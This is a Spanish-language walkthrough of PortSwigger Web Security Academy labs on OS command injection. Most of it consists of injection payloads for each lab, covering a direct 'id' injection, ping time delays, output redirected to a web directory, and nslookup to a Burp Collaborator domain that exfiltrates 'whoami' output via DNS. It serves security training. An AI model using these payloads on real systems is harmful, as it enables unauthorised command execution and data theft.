PortSwigger OS Command Injection Blind Time Delay OOB

OS Command Injection

Inyección de comandos del sistema operativo: casos directos, blind con delays, redirección de output y técnicas out-of-band.

Executing arbitrary commands

Lab 1OS command injection, simple case

Interceptar la consulta del botón Check stock con Burp Suite y enviarla al Repeater. Agregar el comando al parámetro storeId usando ; como separador.

productId=2&storeId=1 ; id

Blind OS command injection vulnerabilities

Detecting blind OS command injection using time delays

Lab 2Blind OS command injection with time delays

Interceptar el envío del formulario de feedback. El parámetro vulnerable es email. Usar ping para generar un delay de ~10 segundos.

csrf=TOKEN&name=test&[email protected]||ping+-c+10+127.0.0.1||&subject=test&message=test

Exploiting blind OS command injection by redirecting output

Lab 4Blind OS command injection with output redirection

Redirigir la salida del comando al directorio /var/www/images/ (accesible vía web). Luego acceder al archivo resultado a través del endpoint de imágenes.

csrf=TOKEN&name=test&email=gato%40gmail.com||whoami>/var/www/images/miau.txt||&subject=test&message=test
# Leer resultado:
https://LAB-ID.web-security-academy.net/image?filename=miau.txt

Exploiting blind OS command injection using out-of-band (OAST) techniques

Lab 5Blind OS command injection with out-of-band interaction

Usar el Burp Collaborator Client para obtener un subdominio. Inyectar un nslookup al dominio del Collaborator para verificar la interacción DNS.

csrf=TOKEN&name=test&email=gato%40gmail.com||nslookup+COLLABORATOR-SUBDOMAIN.burpcollaborator.net||&subject=test&message=test
Lab 6Blind OS command injection with out-of-band data exfiltration

Exfiltrar la salida de un comando como subdominio DNS al Burp Collaborator. Usar backticks para capturar el output de whoami e incluirlo en la consulta DNS.

csrf=TOKEN&name=test&email=gato%40gmail.com||nslookup+`whoami`.COLLABORATOR-SUBDOMAIN.burpcollaborator.net||&subject=test&message=test